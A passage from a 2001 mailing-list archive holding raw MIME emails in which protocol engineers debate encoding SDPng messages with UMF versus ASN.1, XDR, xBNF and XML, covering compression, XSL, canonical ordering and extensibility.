<BR><FONT SIZE=3D2>&gt; Subject: Re: [sdp-ng] Encoding SDPng messages =
using UMF</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Eric,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; That's a good question.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I think the main problem with ASN.1 is that the =
initial versions were</FONT>
<BR><FONT SIZE=3D2>&gt; developed without taking enough of the =
extensibility issues into</FONT>
<BR><FONT SIZE=3D2>&gt; consideration.&nbsp; The addition of =
information object classes is </FONT>
<BR><FONT SIZE=3D2>&gt; so complex as</FONT>
<BR><FONT SIZE=3D2>&gt; to defy comprehension in my opinion.&nbsp; I =
really don't think </FONT>
<BR><FONT SIZE=3D2>&gt; that someone</FONT>
<BR><FONT SIZE=3D2>&gt; should have to put that much effort into =
understanding </FONT>
<BR><FONT SIZE=3D2>&gt; something that only</FONT>
<BR><FONT SIZE=3D2>&gt; features as a very small part in the =
development process.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; UMF allows plugging in of additional syntax =
models with </FONT>
<BR><FONT SIZE=3D2>&gt; minimal complexity.</FONT>
<BR><FONT SIZE=3D2>&gt; You could do:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; module my-addition</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; extends example;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; plug</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
bool&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; uses-tls;</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp; into example;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; in a separate definition to extend what was =
described before.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; As for other protocol specification languages, =
I can think of </FONT>
<BR><FONT SIZE=3D2>&gt; XDR, xBNF, XML</FONT>
<BR><FONT SIZE=3D2>&gt; and there's probably a whole bunch of =
IDLs.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; To me, the short answer is, the fact that =
people are looking </FONT>
<BR><FONT SIZE=3D2>&gt; to XML to solve</FONT>
<BR><FONT SIZE=3D2>&gt; there problems indicates that this area isn't =
totally sown up.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The longer answer is:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; XDR is quite low level, and not as expressive =
as it could be, </FONT>
<BR><FONT SIZE=3D2>&gt; although in</FONT>
<BR><FONT SIZE=3D2>&gt; some respect UMF is an extension of XDR, minus =
some stuff that doesn't</FONT>
<BR><FONT SIZE=3D2>&gt; really actually convey any more information in =
the definition than is</FONT>
<BR><FONT SIZE=3D2>&gt; already defined elsewhere.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; xBNF is too low level.&nbsp; It's like working =
in machine code all </FONT>
<BR><FONT SIZE=3D2>&gt; the time.</FONT>
<BR><FONT SIZE=3D2>&gt; It's also extremely time consuming and error =
prone to get a definition</FONT>
<BR><FONT SIZE=3D2>&gt; correct.&nbsp; The essence of a protocol can =
also get lost in the detail.</FONT>
<BR><FONT SIZE=3D2>&gt; There's also quite a lot of handle turning to =
convert this </FONT>
<BR><FONT SIZE=3D2>&gt; into useable</FONT>
<BR><FONT SIZE=3D2>&gt; code.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; XML initially doesn't have any type =
information, which seems bad for a</FONT>
<BR><FONT SIZE=3D2>&gt; message definition language.&nbsp; Schemas are =
fixing that, but </FONT>
<BR><FONT SIZE=3D2>&gt; the verbosity of</FONT>
<BR><FONT SIZE=3D2>&gt; specifying all that again mean the message of =
the message </FONT>
<BR><FONT SIZE=3D2>&gt; definition gets</FONT>
<BR><FONT SIZE=3D2>&gt; lost in the syntax fluff.&nbsp; (It would =
actually be better to </FONT>
<BR><FONT SIZE=3D2>&gt; define a message</FONT>
<BR><FONT SIZE=3D2>&gt; in UMF and then automate the conversion to XML =
Schema using </FONT>
<BR><FONT SIZE=3D2>&gt; tools, as your</FONT>
<BR><FONT SIZE=3D2>&gt; much more likely to get an error free =
definition that way.)</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; In summary, except for ASN.1 (and XDR) I don't =
think there </FONT>
<BR><FONT SIZE=3D2>&gt; are really any</FONT>
<BR><FONT SIZE=3D2>&gt; protocol definition languages.&nbsp; All the =
other examples have </FONT>
<BR><FONT SIZE=3D2>&gt; been high jacked</FONT>
<BR><FONT SIZE=3D2>&gt; from the problem domains that they were =
originally developed for.&nbsp; The</FONT>
<BR><FONT SIZE=3D2>&gt; result is that they aren't particularly a good =
match for the </FONT>
<BR><FONT SIZE=3D2>&gt; problem space.</FONT>
<BR><FONT SIZE=3D2>&gt; The fact that ASN.1 or XDR are not the first =
thing people rush to when</FONT>
<BR><FONT SIZE=3D2>&gt; defining protocols suggests that there is room =
for improvement.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Pete.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2>&gt; Pete Cordell</FONT>
<BR><FONT SIZE=3D2>&gt; Tech-Know-Ware</FONT>
<BR><FONT SIZE=3D2>&gt; pete@tech-know-ware.com</FONT>
<BR><FONT SIZE=3D2>&gt; +44 1473 635863</FONT>
<BR><FONT SIZE=3D2>&gt; =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2>&gt; [snip]</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; To unsubscribe from this group, send an email =
to:</FONT>
<BR><FONT SIZE=3D2>&gt; sdp-ng-unsubscribe@egroups.com</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Your use of Yahoo! Groups is subject to </FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://docs.yahoo.com/info/terms/" =
TARGET=3D"_blank">http://docs.yahoo.com/info/terms/</A> </FONT>
</P>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C0EEAC.209C8C90--

From confctrl-owner  Wed Jun  6 10:17:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA17824
	for confctrl-outgoing; Wed, 6 Jun 2001 10:17:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA17818
	for <confctrl@zephyr.isi.edu>; Wed, 6 Jun 2001 10:17:05 -0700 (PDT)
Received: from znsgs0ja.europe.nortel.com (znsgs0ja.nortelnetworks.com [47.165.25.40])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f56HHJZ23205
	for <confctrl@ISI.EDU>; Wed, 6 Jun 2001 10:17:19 -0700 (PDT)
Received: from qnsgs000.nortel.com (znsgs016 [47.255.64.31])
	by znsgs0ja.europe.nortel.com (8.11.0/8.11.0) with ESMTP id f56HHAt18701
	for <confctrl@ISI.EDU>; Wed, 6 Jun 2001 18:17:10 +0100 (BST)
Received: from nwcwi1a.europe.nortel.com by qnsgs000.nortel.com;
          Wed, 6 Jun 2001 18:16:52 +0100
Received: by nwcwi1a.europe.nortel.com with Internet Mail Service (5.5.2653.19) 
          id <MMZ0M0DV>; Wed, 6 Jun 2001 18:16:49 +0100
Message-ID: <A3C2399B2FACD411A54200508BE39C7402E84124@zwcwd00r.europe.nortel.com>
From: "Mark Watson" <mwatson@nortelnetworks.com>
To: "'sdp-ng@yahoogroups.com'" <sdp-ng@yahoogroups.com>,
        confctrl <confctrl@ISI.EDU>, Jeff Ayars <jeffa@real.com>
Subject: RE: [sdp-ng] Re: Encoding SDPng messages using UMF
Date: Wed, 6 Jun 2001 18:16:55 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C0EEAC.7C21F640"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0EEAC.7C21F640
Content-Type: text/plain;
	charset="ISO-8859-1"


> 
> 
> Jeff,
> 
> I'm afraid I don't really buy the compression argument.  If size is
> important to you than you are prepared to use compression, 
> then you can
> compress any protocol, including UMF.  I would rather start off with a
> smaller encoding and avoid the extra step.  Indeed, 
> compression seems to
> defeat one of the advantages of text encoding, and that's 
> easy sniffing and
> viewing of messages on the wire.  After all, a compressed encoding is
> effectively a binary encoding.
> 

Depends if your compression is content aware. If you have a hand-crafted
compression scheme for a particular protocol, then it's just a binary
encoding. But if you have a generic compression algorithm which does not
vary with different versions of the protocol, then you just need to put the
decompression algorithm in your sniffers.

> As for XSL, I think we should try and get some practical 
> experience with it
> as a sort of feasibility study ASAP.  I don't think it is 
> going to be as
> easy to use as it might first appear.  If Dirk has then, it 
> would be good to
> see them so that I can attempt to do a UMF equivalent.  It 
> would be good to
> know what the tools status is for it also.
> 
> Also, an XSL parser is likely to be something in addition to 
> an XML parser.
> Therefore having an XSL parser extension plus an XML parser 
> is likely to be
> no better than having an XML parser plus a UMF parser.  After 
> all, XSL =
> YAPS also.
> 
> Pete.
> 
> =============================================
> Pete Cordell
> Tech-Know-Ware
> pete@tech-know-ware.com
> +44 1473 635863
> =============================================
> 
> ----- Original Message -----
> From: Jeff Ayars <jeffa@real.com>
> To: Pete Cordell <pete@tech-know-ware.com>; Dr. Carsten Bormann
> <cabo@tzi.org>; Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>;
> <confctrl@ISI.EDU>
> Cc: <sdp-ng@egroups.com>
> Sent: 05 June 2001 20:47
> Subject: Re: Encoding SDPng messages using UMF
> 
> 
> > XML may not be the most efficient syntax from a bytes used 
> perspective but
> > it is regular and WIDELY understood.  Compression a-la zlib 
> in RFC 2974
> for
> > SDP compression in SAP or WAP Binary XML representation should be
> > considered for byte efficiency.
> >
> > XSL solves the data type problem in another existing standard way.
> >
> > I already have an XML parser in my product.  YAPS (Yet 
> Another Protocol
> > Syntax) == YAPP (Yet another protocol parser).  I don't 
> want to bloat my
> 
> > product with YAPP.
> >
> > JEff
> >
> >
> 
> 
> To unsubscribe from this group, send an email to:
> sdp-ng-unsubscribe@egroups.com
> 
>  
> 
> Your use of Yahoo! Groups is subject to 
> http://docs.yahoo.com/info/terms/ 
> 
> 
> 

------_=_NextPart_001_01C0EEAC.7C21F640
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.59">
<TITLE>RE: [sdp-ng] Re: Encoding SDPng messages using UMF</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Jeff,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I'm afraid I don't really buy the compression =
argument.&nbsp; If size is</FONT>
<BR><FONT SIZE=3D2>&gt; important to you than you are prepared to use =
compression, </FONT>
<BR><FONT SIZE=3D2>&gt; then you can</FONT>
<BR><FONT SIZE=3D2>&gt; compress any protocol, including UMF.&nbsp; I =
would rather start off with a</FONT>
<BR><FONT SIZE=3D2>&gt; smaller encoding and avoid the extra =
step.&nbsp; Indeed, </FONT>
<BR><FONT SIZE=3D2>&gt; compression seems to</FONT>
<BR><FONT SIZE=3D2>&gt; defeat one of the advantages of text encoding, =
and that's </FONT>
<BR><FONT SIZE=3D2>&gt; easy sniffing and</FONT>
<BR><FONT SIZE=3D2>&gt; viewing of messages on the wire.&nbsp; After =
all, a compressed encoding is</FONT>
<BR><FONT SIZE=3D2>&gt; effectively a binary encoding.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

<P><FONT SIZE=3D2>Depends if your compression is content aware. If you =
have a hand-crafted compression scheme for a particular protocol, then =
it's just a binary encoding. But if you have a generic compression =
algorithm which does not vary with different versions of the protocol, =
then you just need to put the decompression algorithm in your =
sniffers.</FONT></P>

<P><FONT SIZE=3D2>&gt; As for XSL, I think we should try and get some =
practical </FONT>
<BR><FONT SIZE=3D2>&gt; experience with it</FONT>
<BR><FONT SIZE=3D2>&gt; as a sort of feasibility study ASAP.&nbsp; I =
don't think it is </FONT>
<BR><FONT SIZE=3D2>&gt; going to be as</FONT>
<BR><FONT SIZE=3D2>&gt; easy to use as it might first appear.&nbsp; If =
Dirk has then, it </FONT>
<BR><FONT SIZE=3D2>&gt; would be good to</FONT>
<BR><FONT SIZE=3D2>&gt; see them so that I can attempt to do a UMF =
equivalent.&nbsp; It </FONT>
<BR><FONT SIZE=3D2>&gt; would be good to</FONT>
<BR><FONT SIZE=3D2>&gt; know what the tools status is for it =
also.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Also, an XSL parser is likely to be something =
in addition to </FONT>
<BR><FONT SIZE=3D2>&gt; an XML parser.</FONT>
<BR><FONT SIZE=3D2>&gt; Therefore having an XSL parser extension plus =
an XML parser </FONT>
<BR><FONT SIZE=3D2>&gt; is likely to be</FONT>
<BR><FONT SIZE=3D2>&gt; no better than having an XML parser plus a UMF =
parser.&nbsp; After </FONT>
<BR><FONT SIZE=3D2>&gt; all, XSL =3D</FONT>
<BR><FONT SIZE=3D2>&gt; YAPS also.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Pete.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2>&gt; Pete Cordell</FONT>
<BR><FONT SIZE=3D2>&gt; Tech-Know-Ware</FONT>
<BR><FONT SIZE=3D2>&gt; pete@tech-know-ware.com</FONT>
<BR><FONT SIZE=3D2>&gt; +44 1473 635863</FONT>
<BR><FONT SIZE=3D2>&gt; =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; ----- Original Message -----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Jeff Ayars &lt;jeffa@real.com&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; To: Pete Cordell =
&lt;pete@tech-know-ware.com&gt;; Dr. Carsten Bormann</FONT>
<BR><FONT SIZE=3D2>&gt; &lt;cabo@tzi.org&gt;; Dirk Kutscher =
&lt;dku@Informatik.Uni-Bremen.DE&gt;;</FONT>
<BR><FONT SIZE=3D2>&gt; &lt;confctrl@ISI.EDU&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: &lt;sdp-ng@egroups.com&gt;</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: 05 June 2001 20:47</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: Encoding SDPng messages using =
UMF</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; XML may not be the most efficient syntax =
from a bytes used </FONT>
<BR><FONT SIZE=3D2>&gt; perspective but</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; it is regular and WIDELY understood.&nbsp; =
Compression a-la zlib </FONT>
<BR><FONT SIZE=3D2>&gt; in RFC 2974</FONT>
<BR><FONT SIZE=3D2>&gt; for</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; SDP compression in SAP or WAP Binary XML =
representation should be</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; considered for byte efficiency.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; XSL solves the data type problem in =
another existing standard way.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I already have an XML parser in my =
product.&nbsp; YAPS (Yet </FONT>
<BR><FONT SIZE=3D2>&gt; Another Protocol</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Syntax) =3D=3D YAPP (Yet another protocol =
parser).&nbsp; I don't </FONT>
<BR><FONT SIZE=3D2>&gt; want to bloat my</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; product with YAPP.</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; JEff</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; To unsubscribe from this group, send an email =
to:</FONT>
<BR><FONT SIZE=3D2>&gt; sdp-ng-unsubscribe@egroups.com</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Your use of Yahoo! Groups is subject to </FONT>
<BR><FONT SIZE=3D2>&gt; <A HREF=3D"http://docs.yahoo.com/info/terms/" =
TARGET=3D"_blank">http://docs.yahoo.com/info/terms/</A> </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0EEAC.7C21F640--

From confctrl-owner  Thu Jun  7 03:38:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA00224
	for confctrl-outgoing; Thu, 7 Jun 2001 03:38:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA00219
	for <confctrl@zephyr.isi.edu>; Thu, 7 Jun 2001 03:38:25 -0700 (PDT)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f57AcKZ27991
	for <confctrl@isi.edu>; Thu, 7 Jun 2001 03:38:25 -0700 (PDT)
Received: from [213.1.64.72] (helo=tkw)
	by tungsten.btinternet.com with smtp (Exim 3.03 #83)
	id 157xAT-00076m-00; Thu, 07 Jun 2001 11:37:33 +0100
Message-ID: <004101c0ef3e$3e2692a0$0200000a@tkw>
From: "Pete Cordell" <pete@tech-know-ware.com>
To: "Mark Watson" <mwatson@nortelnetworks.com>, <sdp-ng@yahoogroups.com>,
        <confctrl@ISI.EDU>
References: <A3C2399B2FACD411A54200508BE39C7402E84123@zwcwd00r.europe.nortel.com>
Subject: Re: [sdp-ng] Encoding SDPng messages using UMF
Date: Thu, 7 Jun 2001 11:39:33 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_003E_01C0EF46.85F5C6C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_003E_01C0EF46.85F5C6C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

RE: [sdp-ng] Encoding SDPng messages using UMFI think for small messages =
a canonical representation is probably better than a tagged version in =
which the parameters can be in any order.  However, as the complexity of =
the message set grows, after a point, (which is going to be a very fussy =
and personal point), errors introduced due to not getting exactly the =
right canonical order are more of a threat to your code than having =
parameters in any order.  And it's not really that big a problem because =
HTTP and in the most part SIP allow headers in any order, and they seem =
to work OK.  Also, having a fixed canonical order can be a problem for =
extensibility.  This is probably one reason that SDP has had such bad =
growing pains.

As for the ASN.1 value notation, I think there has to be some tweaks =
made to it before it can be used as an unambiguous text encoding.  I =
can't remember precisely where they are, but I think it might have =
something to do with the encoding of CHOICE, although they might have =
fixed that ambiguity.  I think ASN.1 has some merit, but I also think =
that there are other problems with it which point to making a fresh =
start, in much the same way that SDPng is looking again at SDP, SIP is =
looking again at H.323 etc.

Pete.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Pete Cordell
Tech-Know-Ware
pete@tech-know-ware.com
+44 1473 635863
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  ----- Original Message -----=20
  From: Mark Watson=20
  To: 'sdp-ng@yahoogroups.com' ; confctrl@ISI.EDU=20
  Sent: 06 June 2001 18:14
  Subject: RE: [sdp-ng] Encoding SDPng messages using UMF




  >=20
  > One thing that ASN.1 and tagged protocols (e.g.,=20
  > keyword/value or XML tags) in general have is the ability to=20
  > send and receive the information elements in any order.  I=20
  > didn't see that in UMF.  Did I miss it?=20
  >=20

  But this is not a good thing. Strictly speaking, if you can send =
things in any order, it dramatically increases the number of test cases =
that you have to run. Surely it's better to have a canonical encoding.



  > BTW: I'm not advocating we use ASN.1 for SDPng.  This is=20
  > because I would much prefer to use a tagged protocol. =20
  > However, if the consensus is that we want to go with an=20
  > IDL/structured protocol, I would propose we consider adopting=20
  > an existing specification language.=20
  >=20
  > NOTE: I've never seen "AER" (ASCII Encoding Rules) for ASN.1.=20
  >  However, it would be straight-forward to do.  I really,=20
  > really DON'T want to use ASN.1 with BER or PER!=20
  >=20

  The ASN.1 Value Notation is effectively an ASCII Encoding Rules.=20

  >=20
  > -----Original Message-----=20
  > From: Pete Cordell [mailto:pete@tech-know-ware.com]=20
  > Sent: Tuesday, June 05, 2001 8:51 AM=20
  > To: sdp-ng@yahoogroups.com; confctrl@isi.edu=20
  > Subject: Re: [sdp-ng] Encoding SDPng messages using UMF=20
  >=20
  >=20
  > Eric,=20
  >=20
  > That's a good question.=20
  >=20
  > I think the main problem with ASN.1 is that the initial versions =
were=20
  > developed without taking enough of the extensibility issues into=20
  > consideration.  The addition of information object classes is=20
  > so complex as=20
  > to defy comprehension in my opinion.  I really don't think=20
  > that someone=20
  > should have to put that much effort into understanding=20
  > something that only=20
  > features as a very small part in the development process.=20
  >=20
  > UMF allows plugging in of additional syntax models with=20
  > minimal complexity.=20
  > You could do:=20
  >=20
  >   module my-addition=20
  >   extends example;=20
  >   plug=20
  >      bool      uses-tls;=20
  >   into example;=20
  >=20
  > in a separate definition to extend what was described before.=20
  >=20
  > As for other protocol specification languages, I can think of=20
  > XDR, xBNF, XML=20
  > and there's probably a whole bunch of IDLs.=20
  >=20
  > To me, the short answer is, the fact that people are looking=20
  > to XML to solve=20
  > there problems indicates that this area isn't totally sown up.=20
  >=20
  > The longer answer is:=20
  >=20
  > XDR is quite low level, and not as expressive as it could be,=20
  > although in=20
  > some respect UMF is an extension of XDR, minus some stuff that =
doesn't=20
  > really actually convey any more information in the definition than =
is=20
  > already defined elsewhere.=20
  >=20
  > xBNF is too low level.  It's like working in machine code all=20
  > the time.=20
  > It's also extremely time consuming and error prone to get a =
definition=20
  > correct.  The essence of a protocol can also get lost in the detail. =

  > There's also quite a lot of handle turning to convert this=20
  > into useable=20
  > code.=20
  >=20
  > XML initially doesn't have any type information, which seems bad for =
a=20
  > message definition language.  Schemas are fixing that, but=20
  > the verbosity of=20
  > specifying all that again mean the message of the message=20
  > definition gets=20
  > lost in the syntax fluff.  (It would actually be better to=20
  > define a message=20
  > in UMF and then automate the conversion to XML Schema using=20
  > tools, as your=20
  > much more likely to get an error free definition that way.)=20
  >=20
  > In summary, except for ASN.1 (and XDR) I don't think there=20
  > are really any=20
  > protocol definition languages.  All the other examples have=20
  > been high jacked=20
  > from the problem domains that they were originally developed for.  =
The=20
  > result is that they aren't particularly a good match for the=20
  > problem space.=20
  > The fact that ASN.1 or XDR are not the first thing people rush to =
when=20
  > defining protocols suggests that there is room for improvement.=20
  >=20
  > Pete.=20
  >=20
  > =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20
  > Pete Cordell=20
  > Tech-Know-Ware=20
  > pete@tech-know-ware.com=20
  > +44 1473 635863=20
  > =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=20
  > [snip]=20
  >=20
  >=20
  > To unsubscribe from this group, send an email to:=20
  > sdp-ng-unsubscribe@egroups.com=20
  >=20
  > =20
  >=20
  > Your use of Yahoo! Groups is subject to=20
  http://docs.yahoo.com/info/terms/=20




------=_NextPart_000_003E_01C0EF46.85F5C6C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>RE: [sdp-ng] Encoding SDPng messages using =
UMF</TITLE>
<META content=3D"text/html; charset=3DISO-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>I think for small messages a canonical =
representation is=20
probably better than a tagged version in which the parameters can be in =
any=20
order.&nbsp; However, as the complexity of the message set grows, after =
a point,=20
(which is going to be a very fussy and personal point), errors =
introduced due to=20
not getting exactly the right&nbsp;canonical order are more of a threat =
to your=20
code than having parameters in any order.&nbsp; And it's not really that =
big a=20
problem because HTTP and in the most part SIP allow headers in any =
order, and=20
they seem to work OK.&nbsp; Also, having a fixed canonical =
order&nbsp;can be a=20
problem for extensibility.&nbsp; This is probably one reason that SDP =
has had=20
such bad growing pains.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2>As for the ASN.1 value notation, I think there has =
to be some=20
tweaks made to it before it can be used as an unambiguous text =
encoding.&nbsp; I=20
can't remember precisely where they are, but I think it might have =
something to=20
do with the encoding of CHOICE, although they might have fixed that=20
ambiguity.&nbsp; I think ASN.1 has some merit, but I also think that =
there are=20
other problems with it which point to making a fresh start, in much the =
same way=20
that SDPng is looking again at SDP, SIP is looking again at H.323=20
etc.</FONT></DIV>
<DIV><FONT size=3D2><BR>Pete.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT =
size=3D2>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR>=
Pete=20
Cordell<BR>Tech-Know-Ware<BR><A=20
href=3D"mailto:pete@tech-know-ware.com">pete@tech-know-ware.com</A><BR>+4=
4 1473=20
